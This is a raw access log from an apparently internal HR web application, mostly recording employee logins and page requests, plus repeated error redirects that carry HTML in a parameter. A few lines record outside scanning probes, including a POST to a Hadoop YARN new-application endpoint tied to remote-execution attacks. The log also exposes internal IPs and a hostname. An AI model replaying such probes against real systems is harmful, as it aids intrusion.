/eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [05/Dec/2025:13:22:33 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [05/Dec/2025:13:22:33 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [05/Dec/2025:13:22:33 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [05/Dec/2025:13:22:33 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [05/Dec/2025:13:22:33 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [05/Dec/2025:13:22:33 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [05/Dec/2025:13:22:33 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [05/Dec/2025:13:22:33 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [05/Dec/2025:13:22:33 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [05/Dec/2025:13:22:34 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [05/Dec/2025:13:22:34 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [05/Dec/2025:13:22:34 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [05/Dec/2025:13:22:34 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [05/Dec/2025:13:22:34 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [05/Dec/2025:13:22:34 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [05/Dec/2025:13:22:34 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [05/Dec/2025:13:22:34 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [05/Dec/2025:13:22:34 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [05/Dec/2025:13:22:34 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [05/Dec/2025:13:22:34 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [05/Dec/2025:13:22:34 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [05/Dec/2025:13:22:35 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [05/Dec/2025:13:22:35 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [05/Dec/2025:13:22:35 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [05/Dec/2025:13:22:35 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [05/Dec/2025:13:22:35 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [05/Dec/2025:13:22:35 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [05/Dec/2025:13:22:35 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [05/Dec/2025:13:22:35 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [05/Dec/2025:13:22:35 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [05/Dec/2025:13:22:35 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [05/Dec/2025:13:22:36 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [05/Dec/2025:13:22:36 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [05/Dec/2025:13:22:36 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [05/Dec/2025:13:22:36 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:13:57:04 +0800] "GET / HTTP/1.1" 200 439 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity" 100.64.0.1 - - [05/Dec/2025:13:57:04 +0800] "GET / HTTP/1.1" 200 439 192.168.11.108 - - [05/Dec/2025:14:02:46 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [05/Dec/2025:14:02:46 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.108 - - [05/Dec/2025:14:03:07 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [05/Dec/2025:14:03:07 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.108 - - [05/Dec/2025:14:03:07 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9510 192.168.11.108 - - [05/Dec/2025:14:03:07 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9510 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [05/Dec/2025:14:03:09 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10436 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [05/Dec/2025:14:03:09 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10436 192.168.11.108 - - [05/Dec/2025:14:03:16 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 135456 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [05/Dec/2025:14:03:16 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 135456 192.168.11.108 - - [05/Dec/2025:14:22:11 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [05/Dec/2025:14:22:11 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.108 - - [05/Dec/2025:14:40:26 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [05/Dec/2025:14:40:26 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.108 - - [05/Dec/2025:14:40:27 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9510 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [05/Dec/2025:14:40:27 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9510 192.168.11.108 - - [05/Dec/2025:14:40:28 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10436 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [05/Dec/2025:14:40:28 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10436 192.168.11.108 - - [05/Dec/2025:14:40:42 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 135456 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [05/Dec/2025:14:40:42 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 135456 100.64.0.1 - - [05/Dec/2025:14:41:15 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 "-" "python-requests/2.22.0" 100.64.0.1 - - [05/Dec/2025:14:41:15 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 192.168.11.125 - - [05/Dec/2025:14:59:09 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [05/Dec/2025:14:59:09 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.125 - - [05/Dec/2025:14:59:12 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [05/Dec/2025:14:59:12 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.125 - - [05/Dec/2025:14:59:17 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [05/Dec/2025:14:59:17 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 192.168.11.125 - - [05/Dec/2025:14:59:19 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [05/Dec/2025:14:59:19 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.125 - - [05/Dec/2025:14:59:21 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-CN.min.js HTTP/1.1" 200 697 192.168.11.125 - - [05/Dec/2025:14:59:21 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-CN.min.js HTTP/1.1" 200 697 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [05/Dec/2025:14:59:22 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [05/Dec/2025:14:59:22 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 100.64.0.1 - - [05/Dec/2025:15:01:18 +0800] "\x03" 501 203 100.64.0.1 - - [05/Dec/2025:15:01:18 +0800] "\x03" 501 203 "-" "-" 192.168.11.125 - - [05/Dec/2025:15:01:41 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6177197234489781 HTTP/1.1" 200 10228 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [05/Dec/2025:15:01:41 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6177197234489781 HTTP/1.1" 200 10228 192.168.11.125 - - [05/Dec/2025:15:01:50 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6177197234489781 HTTP/1.1" 200 12411 